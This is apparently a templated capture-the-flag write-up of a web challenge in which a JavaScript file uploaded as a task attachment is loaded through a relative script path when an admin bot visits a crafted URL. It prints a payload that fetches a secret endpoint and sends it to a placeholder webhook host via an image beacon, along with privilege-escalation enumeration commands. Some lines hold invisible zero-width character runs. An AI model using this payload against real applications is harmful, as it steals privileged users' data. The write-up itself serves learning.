board_of_secrets

Platform: Miptctf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-14 | Status: Solved Techniques: admin_bot_exploitation, content_type_bypass, image_beacon_exfiltration, relative_path_script_injection

Summary

Task: Task board app with file uploads and admin bot. Solution: Exploited relative path script injection by uploading malicious JS as attachment, then tricking admin bot to visit crafted URL that loads the attachment as script.js, exfiltrating /api/secret via image beacon.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: miptctf | ID: 20260314_miptctf_board_of_secrets
• Tags: file_upload, nodejs, nginx, express, admin_bot, aiohttp, relative_path, script_injection
• Indicators: relative script src without leading slash, file upload served from predictable URL, no X-Content-Type-Options header, admin bot accepts same-origin URLs, stats or similar page with relative script imports
• Source: 20260314_miptctf_board_of_secrets.md

Foothold

Vulnerability / Misconfiguration

1. Admin_bot_exploitation
2. Content_type_bypass
3. Image_beacon_exfiltration
4. Relative_path_script_injection

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• admin_bot_exploitation
• content_type_bypass
• image_beacon_exfiltration
• relative_path_script_injection
• Tags: file_upload, nodejs, nginx, express, admin_bot, aiohttp, relative_path, script_injection

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Task board application behind nginx → aiohttp → Express proxy chain. Users can create tasks with text file attachments. Admin bot visits reported URLs. Goal: access /api/secret which returns 403 for non-admin users.

Analysis

Architecture: nginx/1.22.1 → aiohttp/3.13.3 → Express/Node.js with SQLite3.

Key observations:

• /stats page loads <script src="script.js"> with relative path
• /task/:id/:filename serves task attachments as text/plain without X-Content-Type-Options: nosniff
• Admin bot accepts URLs starting with http://127.0.0.1:8080/
• All direct XSS vectors properly escaped
• HttpOnly cookies prevent direct cookie theft ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The vulnerability: when browser visits /task/N/stats, it resolves script.js relative to current path → /task/N/script.js → serves the attachment of task N!

Solution

Step 1: Upload malicious JS as .txt attachment

fetch('/api/secret').then(r=>r.text()).then(t=>{new Image().src='http://WEBHOOK:8888/flag?d='+btoa(t)})

Step 2: Report crafted URL to admin bot

curl -X POST http://target/report -d "url=http://127.0.0.1:8080/task/19/stats"

Step 3: Receive exfiltrated data ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Browser loads /task/19/stats → stats page with <script src="script.js"> → browser fetches /task/19/script.js → our malicious JS executes → fetches /api/secret with admin cookies → exfiltrates via image beacon.

GET /flag?d=TUlQVHs1NjM0M2IwfQ==

Decoded: MIPT{REDACTED}

echo "TUlQVHs1NjM0M2IwfQ==" | base64 -d
# MIPT{REDACTED}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR